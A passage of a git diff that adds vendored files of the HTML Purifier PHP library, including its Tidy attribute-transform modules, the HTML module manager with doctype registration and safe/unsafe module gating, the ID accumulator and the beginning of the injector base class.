+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Proprietary.php
@@ -0,0 +1,34 @@
+<?php
+
+class HTMLPurifier_HTMLModule_Tidy_Proprietary extends HTMLPurifier_HTMLModule_Tidy
+{
+
+ /**
+ * @type string
+ */
+ public $name = 'Tidy_Proprietary';
+
+ /**
+ * @type string
+ */
+ public $defaultLevel = 'light';
+
+ /**
+ * @return array
+ */
+ public function makeFixes()
+ {
+ $r = array();
+ $r['table@background'] = new HTMLPurifier_AttrTransform_Background();
+ $r['td@background'] = new HTMLPurifier_AttrTransform_Background();
+ $r['th@background'] = new HTMLPurifier_AttrTransform_Background();
+ $r['tr@background'] = new HTMLPurifier_AttrTransform_Background();
+ $r['thead@background'] = new HTMLPurifier_AttrTransform_Background();
+ $r['tfoot@background'] = new HTMLPurifier_AttrTransform_Background();
+ $r['tbody@background'] = new HTMLPurifier_AttrTransform_Background();
+ $r['table@height'] = new HTMLPurifier_AttrTransform_Length('height');
+ return $r;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Strict.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Strict.php
new file mode 100644
index 000000000..803c44fab
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Strict.php
@@ -0,0 +1,43 @@
+<?php
+
+class HTMLPurifier_HTMLModule_Tidy_Strict extends HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4
+{
+ /**
+ * @type string
+ */
+ public $name = 'Tidy_Strict';
+
+ /**
+ * @type string
+ */
+ public $defaultLevel = 'light';
+
+ /**
+ * @return array
+ */
+ public function makeFixes()
+ {
+ $r = parent::makeFixes();
+ $r['blockquote#content_model_type'] = 'strictblockquote';
+ return $r;
+ }
+
+ /**
+ * @type bool
+ */
+ public $defines_child_def = true;
+
+ /**
+ * @param HTMLPurifier_ElementDef $def
+ * @return HTMLPurifier_ChildDef_StrictBlockquote
+ */
+ public function getChildDef($def)
+ {
+ if ($def->content_model_type != 'strictblockquote') {
+ return parent::getChildDef($def);
+ }
+ return new HTMLPurifier_ChildDef_StrictBlockquote($def->content_model);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Transitional.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Transitional.php
new file mode 100644
index 000000000..c095ad974
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Transitional.php
@@ -0,0 +1,16 @@
+<?php
+
+class HTMLPurifier_HTMLModule_Tidy_Transitional extends HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4
+{
+ /**
+ * @type string
+ */
+ public $name = 'Tidy_Transitional';
+
+ /**
+ * @type string
+ */
+ public $defaultLevel = 'heavy';
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/XHTML.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/XHTML.php
new file mode 100644
index 000000000..3ecddc434
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/XHTML.php
@@ -0,0 +1,26 @@
+<?php
+
+class HTMLPurifier_HTMLModule_Tidy_XHTML extends HTMLPurifier_HTMLModule_Tidy
+{
+ /**
+ * @type string
+ */
+ public $name = 'Tidy_XHTML';
+
+ /**
+ * @type string
+ */
+ public $defaultLevel = 'medium';
+
+ /**
+ * @return array
+ */
+ public function makeFixes()
+ {
+ $r = array();
+ $r['@lang'] = new HTMLPurifier_AttrTransform_Lang();
+ return $r;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php
new file mode 100644
index 000000000..c4f16a4dc
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php
@@ -0,0 +1,179 @@
+<?php
+
+class HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4 extends HTMLPurifier_HTMLModule_Tidy
+{
+
+ /**
+ * @return array
+ */
+ public function makeFixes()
+ {
+ $r = array();
+
+ // == deprecated tag transforms ===================================
+
+ $r['font'] = new HTMLPurifier_TagTransform_Font();
+ $r['menu'] = new HTMLPurifier_TagTransform_Simple('ul');
+ $r['dir'] = new HTMLPurifier_TagTransform_Simple('ul');
+ $r['center'] = new HTMLPurifier_TagTransform_Simple('div', 'text-align:center;');
+ $r['u'] = new HTMLPurifier_TagTransform_Simple('span', 'text-decoration:underline;');
+ $r['s'] = new HTMLPurifier_TagTransform_Simple('span', 'text-decoration:line-through;');
+ $r['strike'] = new HTMLPurifier_TagTransform_Simple('span', 'text-decoration:line-through;');
+
+ // == deprecated attribute transforms =============================
+
+ $r['caption@align'] =
+ new HTMLPurifier_AttrTransform_EnumToCSS(
+ 'align',
+ array(
+ // we're following IE's behavior, not Firefox's, due
+ // to the fact that no one supports caption-side:right,
+ // W3C included (with CSS 2.1). This is a slightly
+ // unreasonable attribute!
+ 'left' => 'text-align:left;',
+ 'right' => 'text-align:right;',
+ 'top' => 'caption-side:top;',
+ 'bottom' => 'caption-side:bottom;' // not supported by IE
+ )
+ );
+
+ // @align for img -------------------------------------------------
+ $r['img@align'] =
+ new HTMLPurifier_AttrTransform_EnumToCSS(
+ 'align',
+ array(
+ 'left' => 'float:left;',
+ 'right' => 'float:right;',
+ 'top' => 'vertical-align:top;',
+ 'middle' => 'vertical-align:middle;',
+ 'bottom' => 'vertical-align:baseline;',
+ )
+ );
+
+ // @align for table -----------------------------------------------
+ $r['table@align'] =
+ new HTMLPurifier_AttrTransform_EnumToCSS(
+ 'align',
+ array(
+ 'left' => 'float:left;',
+ 'center' => 'margin-left:auto;margin-right:auto;',
+ 'right' => 'float:right;'
+ )
+ );
+
+ // @align for hr -----------------------------------------------
+ $r['hr@align'] =
+ new HTMLPurifier_AttrTransform_EnumToCSS(
+ 'align',
+ array(
+ // we use both text-align and margin because these work
+ // for different browsers (IE and Firefox, respectively)
+ // and the melange makes for a pretty cross-compatible
+ // solution
+ 'left' => 'margin-left:0;margin-right:auto;text-align:left;',
+ 'center' => 'margin-left:auto;margin-right:auto;text-align:center;',
+ 'right' => 'margin-left:auto;margin-right:0;text-align:right;'
+ )
+ );
+
+ // @align for h1, h2, h3, h4, h5, h6, p, div ----------------------
+ // {{{
+ $align_lookup = array();
+ $align_values = array('left', 'right', 'center', 'justify');
+ foreach ($align_values as $v) {
+ $align_lookup[$v] = "text-align:$v;";
+ }
+ // }}}
+ $r['h1@align'] =
+ $r['h2@align'] =
+ $r['h3@align'] =
+ $r['h4@align'] =
+ $r['h5@align'] =
+ $r['h6@align'] =
+ $r['p@align'] =
+ $r['div@align'] =
+ new HTMLPurifier_AttrTransform_EnumToCSS('align', $align_lookup);
+
+ // @bgcolor for table, tr, td, th ---------------------------------
+ $r['table@bgcolor'] =
+ $r['td@bgcolor'] =
+ $r['th@bgcolor'] =
+ new HTMLPurifier_AttrTransform_BgColor();
+
+ // @border for img ------------------------------------------------
+ $r['img@border'] = new HTMLPurifier_AttrTransform_Border();
+
+ // @clear for br --------------------------------------------------
+ $r['br@clear'] =
+ new HTMLPurifier_AttrTransform_EnumToCSS(
+ 'clear',
+ array(
+ 'left' => 'clear:left;',
+ 'right' => 'clear:right;',
+ 'all' => 'clear:both;',
+ 'none' => 'clear:none;',
+ )
+ );
+
+ // @height for td, th ---------------------------------------------
+ $r['td@height'] =
+ $r['th@height'] =
+ new HTMLPurifier_AttrTransform_Length('height');
+
+ // @hspace for img ------------------------------------------------
+ $r['img@hspace'] = new HTMLPurifier_AttrTransform_ImgSpace('hspace');
+
+ // @noshade for hr ------------------------------------------------
+ // this transformation is not precise but often good enough.
+ // different browsers use different styles to designate noshade
+ $r['hr@noshade'] =
+ new HTMLPurifier_AttrTransform_BoolToCSS(
+ 'noshade',
+ 'color:#808080;background-color:#808080;border:0;'
+ );
+
+ // @nowrap for td, th ---------------------------------------------
+ $r['td@nowrap'] =
+ $r['th@nowrap'] =
+ new HTMLPurifier_AttrTransform_BoolToCSS(
+ 'nowrap',
+ 'white-space:nowrap;'
+ );
+
+ // @size for hr --------------------------------------------------
+ $r['hr@size'] = new HTMLPurifier_AttrTransform_Length('size', 'height');
+
+ // @type for li, ol, ul -------------------------------------------
+ // {{{
+ $ul_types = array(
+ 'disc' => 'list-style-type:disc;',
+ 'square' => 'list-style-type:square;',
+ 'circle' => 'list-style-type:circle;'
+ );
+ $ol_types = array(
+ '1' => 'list-style-type:decimal;',
+ 'i' => 'list-style-type:lower-roman;',
+ 'I' => 'list-style-type:upper-roman;',
+ 'a' => 'list-style-type:lower-alpha;',
+ 'A' => 'list-style-type:upper-alpha;'
+ );
+ $li_types = $ul_types + $ol_types;
+ // }}}
+
+ $r['ul@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $ul_types);
+ $r['ol@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $ol_types, true);
+ $r['li@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $li_types, true);
+
+ // @vspace for img ------------------------------------------------
+ $r['img@vspace'] = new HTMLPurifier_AttrTransform_ImgSpace('vspace');
+
+ // @width for hr, td, th ------------------------------------------
+ $r['td@width'] =
+ $r['th@width'] =
+ $r['hr@width'] = new HTMLPurifier_AttrTransform_Length('width');
+
+ return $r;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.php
new file mode 100644
index 000000000..01dbe9deb
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.php
@@ -0,0 +1,20 @@
+<?php
+
+class HTMLPurifier_HTMLModule_XMLCommonAttributes extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'XMLCommonAttributes';
+
+ /**
+ * @type array
+ */
+ public $attr_collections = array(
+ 'Lang' => array(
+ 'xml:lang' => 'LanguageCode',
+ )
+ );
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModuleManager.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModuleManager.php
new file mode 100644
index 000000000..f3a17cb03
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModuleManager.php
@@ -0,0 +1,459 @@
+<?php
+
+class HTMLPurifier_HTMLModuleManager
+{
+
+ /**
+ * @type HTMLPurifier_DoctypeRegistry
+ */
+ public $doctypes;
+
+ /**
+ * Instance of current doctype.
+ * @type string
+ */
+ public $doctype;
+
+ /**
+ * @type HTMLPurifier_AttrTypes
+ */
+ public $attrTypes;
+
+ /**
+ * Active instances of modules for the specified doctype are
+ * indexed, by name, in this array.
+ * @type HTMLPurifier_HTMLModule[]
+ */
+ public $modules = array();
+
+ /**
+ * Array of recognized HTMLPurifier_HTMLModule instances,
+ * indexed by module's class name. This array is usually lazy loaded, but a
+ * user can overload a module by pre-emptively registering it.
+ * @type HTMLPurifier_HTMLModule[]
+ */
+ public $registeredModules = array();
+
+ /**
+ * List of extra modules that were added by the user
+ * using addModule(). These get unconditionally merged into the current doctype, whatever
+ * it may be.
+ * @type HTMLPurifier_HTMLModule[]
+ */
+ public $userModules = array();
+
+ /**
+ * Associative array of element name to list of modules that have
+ * definitions for the element; this array is dynamically filled.
+ * @type array
+ */
+ public $elementLookup = array();
+
+ /**
+ * List of prefixes we should use for registering small names.
+ * @type array
+ */
+ public $prefixes = array('HTMLPurifier_HTMLModule_');
+
+ /**
+ * @type HTMLPurifier_ContentSets
+ */
+ public $contentSets;
+
+ /**
+ * @type HTMLPurifier_AttrCollections
+ */
+ public $attrCollections;
+
+ /**
+ * If set to true, unsafe elements and attributes will be allowed.
+ * @type bool
+ */
+ public $trusted = false;
+
+ public function __construct()
+ {
+ // editable internal objects
+ $this->attrTypes = new HTMLPurifier_AttrTypes();
+ $this->doctypes = new HTMLPurifier_DoctypeRegistry();
+
+ // setup basic modules
+ $common = array(
+ 'CommonAttributes', 'Text', 'Hypertext', 'List',
+ 'Presentation', 'Edit', 'Bdo', 'Tables', 'Image',
+ 'StyleAttribute',
+ // Unsafe:
+ 'Scripting', 'Object', 'Forms',
+ // Sorta legacy, but present in strict:
+ 'Name',
+ );
+ $transitional = array('Legacy', 'Target', 'Iframe');
+ $xml = array('XMLCommonAttributes');
+ $non_xml = array('NonXMLCommonAttributes');
+
+ // setup basic doctypes
+ $this->doctypes->register(
+ 'HTML 4.01 Transitional',
+ false,
+ array_merge($common, $transitional, $non_xml),
+ array('Tidy_Transitional', 'Tidy_Proprietary'),
+ array(),
+ '-//W3C//DTD HTML 4.01 Transitional//EN',
+ 'http://www.w3.org/TR/html4/loose.dtd'
+ );
+
+ $this->doctypes->register(
+ 'HTML 4.01 Strict',
+ false,
+ array_merge($common, $non_xml),
+ array('Tidy_Strict', 'Tidy_Proprietary', 'Tidy_Name'),
+ array(),
+ '-//W3C//DTD HTML 4.01//EN',
+ 'http://www.w3.org/TR/html4/strict.dtd'
+ );
+
+ $this->doctypes->register(
+ 'XHTML 1.0 Transitional',
+ true,
+ array_merge($common, $transitional, $xml, $non_xml),
+ array('Tidy_Transitional', 'Tidy_XHTML', 'Tidy_Proprietary', 'Tidy_Name'),
+ array(),
+ '-//W3C//DTD XHTML 1.0 Transitional//EN',
+ 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'
+ );
+
+ $this->doctypes->register(
+ 'XHTML 1.0 Strict',
+ true,
+ array_merge($common, $xml, $non_xml),
+ array('Tidy_Strict', 'Tidy_XHTML', 'Tidy_Strict', 'Tidy_Proprietary', 'Tidy_Name'),
+ array(),
+ '-//W3C//DTD XHTML 1.0 Strict//EN',
+ 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'
+ );
+
+ $this->doctypes->register(
+ 'XHTML 1.1',
+ true,
+ // Iframe is a real XHTML 1.1 module, despite being
+ // "transitional"!
+ array_merge($common, $xml, array('Ruby', 'Iframe')),
+ array('Tidy_Strict', 'Tidy_XHTML', 'Tidy_Proprietary', 'Tidy_Strict', 'Tidy_Name'), // Tidy_XHTML1_1
+ array(),
+ '-//W3C//DTD XHTML 1.1//EN',
+ 'http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd'
+ );
+
+ }
+
+ /**
+ * Registers a module to the recognized module list, useful for
+ * overloading pre-existing modules.
+ * @param $module Mixed: string module name, with or without
+ * HTMLPurifier_HTMLModule prefix, or instance of
+ * subclass of HTMLPurifier_HTMLModule.
+ * @param $overload Boolean whether or not to overload previous modules.
+ * If this is not set, and you do overload a module,
+ * HTML Purifier will complain with a warning.
+ * @note This function will not call autoload, you must instantiate
+ * (and thus invoke) autoload outside the method.
+ * @note If a string is passed as a module name, different variants
+ * will be tested in this order:
+ * - Check for HTMLPurifier_HTMLModule_$name
+ * - Check all prefixes with $name in order they were added
+ * - Check for literal object name
+ * - Throw fatal error
+ * If your object name collides with an internal class, specify
+ * your module manually. All modules must have been included
+ * externally: registerModule will not perform inclusions for you!
+ */
+ public function registerModule($module, $overload = false)
+ {
+ if (is_string($module)) {
+ // attempt to load the module
+ $original_module = $module;
+ $ok = false;
+ foreach ($this->prefixes as $prefix) {
+ $module = $prefix . $original_module;
+ if (class_exists($module)) {
+ $ok = true;
+ break;
+ }
+ }
+ if (!$ok) {
+ $module = $original_module;
+ if (!class_exists($module)) {
+ trigger_error(
+ $original_module . ' module does not exist',
+ E_USER_ERROR
+ );
+ return;
+ }
+ }
+ $module = new $module();
+ }
+ if (empty($module->name)) {
+ trigger_error('Module instance of ' . get_class($module) . ' must have name');
+ return;
+ }
+ if (!$overload && isset($this->registeredModules[$module->name])) {
+ trigger_error('Overloading ' . $module->name . ' without explicit overload parameter', E_USER_WARNING);
+ }
+ $this->registeredModules[$module->name] = $module;
+ }
+
+ /**
+ * Adds a module to the current doctype by first registering it,
+ * and then tacking it on to the active doctype
+ */
+ public function addModule($module)
+ {
+ $this->registerModule($module);
+ if (is_object($module)) {
+ $module = $module->name;
+ }
+ $this->userModules[] = $module;
+ }
+
+ /**
+ * Adds a class prefix that registerModule() will use to resolve a
+ * string name to a concrete class
+ */
+ public function addPrefix($prefix)
+ {
+ $this->prefixes[] = $prefix;
+ }
+
+ /**
+ * Performs processing on modules, after being called you may
+ * use getElement() and getElements()
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $this->trusted = $config->get('HTML.Trusted');
+
+ // generate
+ $this->doctype = $this->doctypes->make($config);
+ $modules = $this->doctype->modules;
+
+ // take out the default modules that aren't allowed
+ $lookup = $config->get('HTML.AllowedModules');
+ $special_cases = $config->get('HTML.CoreModules');
+
+ if (is_array($lookup)) {
+ foreach ($modules as $k => $m) {
+ if (isset($special_cases[$m])) {
+ continue;
+ }
+ if (!isset($lookup[$m])) {
+ unset($modules[$k]);
+ }
+ }
+ }
+
+ // custom modules
+ if ($config->get('HTML.Proprietary')) {
+ $modules[] = 'Proprietary';
+ }
+ if ($config->get('HTML.SafeObject')) {
+ $modules[] = 'SafeObject';
+ }
+ if ($config->get('HTML.SafeEmbed')) {
+ $modules[] = 'SafeEmbed';
+ }
+ if ($config->get('HTML.SafeScripting') !== array()) {
+ $modules[] = 'SafeScripting';
+ }
+ if ($config->get('HTML.Nofollow')) {
+ $modules[] = 'Nofollow';
+ }
+ if ($config->get('HTML.TargetBlank')) {
+ $modules[] = 'TargetBlank';
+ }
+
+ // merge in custom modules
+ $modules = array_merge($modules, $this->userModules);
+
+ foreach ($modules as $module) {
+ $this->processModule($module);
+ $this->modules[$module]->setup($config);
+ }
+
+ foreach ($this->doctype->tidyModules as $module) {
+ $this->processModule($module);
+ $this->modules[$module]->setup($config);
+ }
+
+ // prepare any injectors
+ foreach ($this->modules as $module) {
+ $n = array();
+ foreach ($module->info_injector as $injector) {
+ if (!is_object($injector)) {
+ $class = "HTMLPurifier_Injector_$injector";
+ $injector = new $class;
+ }
+ $n[$injector->name] = $injector;
+ }
+ $module->info_injector = $n;
+ }
+
+ // setup lookup table based on all valid modules
+ foreach ($this->modules as $module) {
+ foreach ($module->info as $name => $def) {
+ if (!isset($this->elementLookup[$name])) {
+ $this->elementLookup[$name] = array();
+ }
+ $this->elementLookup[$name][] = $module->name;
+ }
+ }
+
+ // note the different choice
+ $this->contentSets = new HTMLPurifier_ContentSets(
+ // content set assembly deals with all possible modules,
+ // not just ones deemed to be "safe"
+ $this->modules
+ );
+ $this->attrCollections = new HTMLPurifier_AttrCollections(
+ $this->attrTypes,
+ // there is no way to directly disable a global attribute,
+ // but using AllowedAttributes or simply not including
+ // the module in your custom doctype should be sufficient
+ $this->modules
+ );
+ }
+
+ /**
+ * Takes a module and adds it to the active module collection,
+ * registering it if necessary.
+ */
+ public function processModule($module)
+ {
+ if (!isset($this->registeredModules[$module]) || is_object($module)) {
+ $this->registerModule($module);
+ }
+ $this->modules[$module] = $this->registeredModules[$module];
+ }
+
+ /**
+ * Retrieves merged element definitions.
+ * @return Array of HTMLPurifier_ElementDef
+ */
+ public function getElements()
+ {
+ $elements = array();
+ foreach ($this->modules as $module) {
+ if (!$this->trusted && !$module->safe) {
+ continue;
+ }
+ foreach ($module->info as $name => $v) {
+ if (isset($elements[$name])) {
+ continue;
+ }
+ $elements[$name] = $this->getElement($name);
+ }
+ }
+
+ // remove dud elements, this happens when an element that
+ // appeared to be safe actually wasn't
+ foreach ($elements as $n => $v) {
+ if ($v === false) {
+ unset($elements[$n]);
+ }
+ }
+
+ return $elements;
+
+ }
+
+ /**
+ * Retrieves a single merged element definition
+ * @param string $name Name of element
+ * @param bool $trusted Boolean trusted overriding parameter: set to true
+ * if you want the full version of an element
+ * @return HTMLPurifier_ElementDef Merged HTMLPurifier_ElementDef
+ * @note You may notice that modules are getting iterated over twice (once
+ * in getElements() and once here). This
+ * is because
+ */
+ public function getElement($name, $trusted = null)
+ {
+ if (!isset($this->elementLookup[$name])) {
+ return false;
+ }
+
+ // setup global state variables
+ $def = false;
+ if ($trusted === null) {
+ $trusted = $this->trusted;
+ }
+
+ // iterate through each module that has registered itself to this
+ // element
+ foreach ($this->elementLookup[$name] as $module_name) {
+ $module = $this->modules[$module_name];
+
+ // refuse to create/merge from a module that is deemed unsafe--
+ // pretend the module doesn't exist--when trusted mode is not on.
+ if (!$trusted && !$module->safe) {
+ continue;
+ }
+
+ // clone is used because, ideally speaking, the original
+ // definition should not be modified. Usually, this will
+ // make no difference, but for consistency's sake
+ $new_def = clone $module->info[$name];
+
+ if (!$def && $new_def->standalone) {
+ $def = $new_def;
+ } elseif ($def) {
+ // This will occur even if $new_def is standalone. In practice,
+ // this will usually result in a full replacement.
+ $def->mergeIn($new_def);
+ } else {
+ // :TODO:
+ // non-standalone definitions that don't have a standalone
+ // to merge into could be deferred to the end
+ // HOWEVER, it is perfectly valid for a non-standalone
+ // definition to lack a standalone definition, even
+ // after all processing: this allows us to safely
+ // specify extra attributes for elements that may not be
+ // enabled all in one place. In particular, this might
+ // be the case for trusted elements. WARNING: care must
+ // be taken that the /extra/ definitions are all safe.
+ continue;
+ }
+
+ // attribute value expansions
+ $this->attrCollections->performInclusions($def->attr);
+ $this->attrCollections->expandIdentifiers($def->attr, $this->attrTypes);
+
+ // descendants_are_inline, for ChildDef_Chameleon
+ if (is_string($def->content_model) &&
+ strpos($def->content_model, 'Inline') !== false) {
+ if ($name != 'del' && $name != 'ins') {
+ // this is for you, ins/del
+ $def->descendants_are_inline = true;
+ }
+ }
+
+ $this->contentSets->generateChildDef($def, $module);
+ }
+
+ // This can occur if there is a blank definition, but no base to
+ // mix it in with
+ if (!$def) {
+ return false;
+ }
+
+ // add information on required attributes
+ foreach ($def->attr as $attr_name => $attr_def) {
+ if ($attr_def->required) {
+ $def->required_attr[] = $attr_name;
+ }
+ }
+ return $def;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/IDAccumulator.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/IDAccumulator.php
new file mode 100644
index 000000000..65c902c07
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/IDAccumulator.php
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * Component of HTMLPurifier_AttrContext that accumulates IDs to prevent dupes
+ * @note In Slashdot-speak, dupe means duplicate.
+ * @note The default constructor does not accept $config or $context objects:
+ * use must use the static build() factory method to perform initialization.
+ */
+class HTMLPurifier_IDAccumulator
+{
+
+ /**
+ * Lookup table of IDs we've accumulated.
+ * @public
+ */
+ public $ids = array();
+
+ /**
+ * Builds an IDAccumulator, also initializing the default blacklist
+ * @param HTMLPurifier_Config $config Instance of HTMLPurifier_Config
+ * @param HTMLPurifier_Context $context Instance of HTMLPurifier_Context
+ * @return HTMLPurifier_IDAccumulator Fully initialized HTMLPurifier_IDAccumulator
+ */
+ public static function build($config, $context)
+ {
+ $id_accumulator = new HTMLPurifier_IDAccumulator();
+ $id_accumulator->load($config->get('Attr.IDBlacklist'));
+ return $id_accumulator;
+ }
+
+ /**
+ * Add an ID to the lookup table.
+ * @param string $id ID to be added.
+ * @return bool status, true if success, false if there's a dupe
+ */
+ public function add($id)
+ {
+ if (isset($this->ids[$id])) {
+ return false;
+ }
+ return $this->ids[$id] = true;
+ }
+
+ /**
+ * Load a list of IDs into the lookup table
+ * @param $array_of_ids Array of IDs to load
+ * @note This function doesn't care about duplicates
+ */
+ public function load($array_of_ids)
+ {
+ foreach ($array_of_ids as $id) {
+ $this->ids[$id] = true;
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector.php
new file mode 100644
index 000000000..5060eef9e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector.php
@@ -0,0 +1,281 @@
+<?php
+
+/**
+ * Injects tokens into the document while parsing for well-formedness.
+ * This enables "formatter-like" functionality such as auto-paragraphing,
+ * smiley-ification and linkification to take place.
+ *
+ * A note on how handlers create changes; this is done by assigning a new
+ * value to the $token reference. These values can take a variety of forms and
+ * are best described HTMLPurifier_Strategy_MakeWellFormed->processToken()
+ * documentation.
+ *
+ * @todo Allow injectors to request a re-run on their output. This
+ * would help if an operation is recursive.
+ */
+abstract class HTMLPurifier_Injector
+{
+
+ /**
+ * Advisory name of injector, this is for friendly error messages.
+ * @type string
+ */
+ public $name;
+
+ /**
+ * @type HTMLPurifier_HTMLDefinition
+ */
+ protected $htmlDefinition;
+
+ /**
+ * Reference to CurrentNesting variable in Context. This is an array
+ * list of tokens that we are currently "inside"
+ * @type array
+ */
+ protected $currentNesting;
+
+ /**
+ * Reference to current token.
+ * @type HTMLPurifier_Token
+ */
+ protected $currentToken;
+
+ /**
+ * Reference to InputZipper variable in Context.
+ * @type HTMLPurifier_Zipper
+ */
+ protected $inputZipper;
+
+ /**
+ * Array of elements and attributes this injector creates and therefore
+ * need to be allowed by the definition. Takes form of
+ * array('element' => array('attr', 'attr2'), 'element2')
+ * @type array
+ */
+ public $needed = array();
+
+ /**
+ * Number of elements to rewind backwards (relative).
+ * @type bool|int
+ */
+ protected $rewindOffset = false;
+
+ /**
+ * Rewind to a spot to re-perform processing. This is useful if you
+ * deleted a node, and now need to see if this change affected any
+ * earlier nodes. Rewinding does not affect other injectors, and can
+ * result in infinite loops if not used carefully.
+ * @param bool|int $offset
+ * @warning HTML Purifier will prevent you from fast-forwarding with this
+ * function.
+ */
+ public function rewindOffset($offset)
+ {
+ $this->rewindOffset = $offset;
+ }
+
+ /**
+ * Retrieves rewind offset, and then unsets it.
+ * @return bool|int
+ */
+ public function getRewindOffset()
+ {
+ $r = $this->rewindOffset;
+ $this->rewindOffset = false;
+ return $r;
+ }
+
+ /**
+ * Prepares the injector by giving it the config and context objects:
+ * this allows references to important variables to be made within
+ * the injector. This function also checks if the HTML environment
+ * will work with the Injector (see checkNeeded()).
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string Boolean false if success, string of missing needed element/attribute if failure
+ */
+ public function prepare($config, $context)
+ {
+ $this->htmlDefinition = $config->getHTMLDefinition();
+ // Even though this might fail, some unit tests ignore this and
+ // still test checkNeeded, so be careful. Maybe get rid of that
+ // dependency.
+ $result = $this->checkNeeded($config);
+ if ($result !== false) {
+ return $result;
+ }
+ $this->currentNesting =& $context->get('CurrentNesting');
+ $this->currentToken =& $context->get('CurrentToken');
+ $this->inputZipper =& $context->get('InputZipper');
+ return false;
+ }
+
+ /**
+ * This function checks if the HTML environment
+ * will work with the Injector: if p tags are not allowed, the
+ * Auto-Paragraphing injector should not be enabled.
+ * @param HTMLPurifier_Config $config
+ * @return bool|string Boolean false if success, string of missing needed element/attribute if failure
+ */
+ public function checkNeeded($config)
+ {
+ $def = $config->getHTMLDefinition();
+ foreach ($this->needed as $element => $attributes) {
+ if (is_int($element)) {
+ $element = $attributes;
+ }
+ if (!isset($def->info[$element])) {
+ return $element;
+ }
+ if (!is_array($attributes)) {
+ continue;
+ }
+ foreach ($attributes as $name) {
+ if (!isset($def->info[$element]->attr[$name])) {
+ return "$element.$name";
+ }
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Tests if the context node allows a certain element
+ * @param string $name Name of element to test for
+ * @return bool True if element is allowed, false if it is not
+ */
+ public function allowsElement($name)
+ {
+ if (!empty($this->currentNesting)) {
+ $parent_token = array_pop($this->currentNesting);
+ $this->currentNesting[] = $parent_token;
+ $parent = $this->htmlDefinition->info[$parent_token->name];
+ } else {
+ $parent = $this->htmlDefinition->info_parent_def;
+ }
+ if (!isset($parent->child->elements[$name]) || isset($parent->excludes[$name])) {
+ return false;
+ }
+ // check for exclusion
+ for ($i = count($this->currentNesting) - 2; $i >= 0; $i--) {
+ $node = $this->currentNesting[$i];
+ $def = $this->htmlDefinition->info[$node->name];
+ if (isset($def->excludes[$name])) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Iterator function, which starts with the next token and continues until
+ * you reach the end of the input tokens.
+ * @warning Please prevent previous references from interfering with this
+ * functions by setting $i = null beforehand!
+ * @param int $i Current integer index variable for inputTokens
+ * @param HTMLPurifier_Token $current Current token variable.
+ * Do NOT use $token, as that variable is also a reference
+ * @return bool
+ */
+ protected function forward(&$i, &$current)
+ {
+ if ($i === null) {
+ $i = count($this->inputZipper->back) - 1;
+ } else {
+ $i--;
+ }
+ if ($i < 0) {
+ return false;
+ }
+ $current = $this->inputZipper->back[$i];
+ return true;
+ }
+
+ /**
+ * Similar to _forward, but accepts a third parameter $nesting (which
+ * should be initialized at 0) and stops when we hit the end tag
+ * for the node $this->inputIndex starts in.
+ * @param int $i Current integer index variable for inputTokens
+ * @param HTMLPurifier_Token $current Current token variable.
+ * Do NOT use $token, as that variable is also a reference
+ * @param int $nesting
+ * @return bool
+ */
+ protected function forwardUntilEndToken(&$i, &$current, &$nesting)
+ {
+ $result = $this->forward($i, $current);
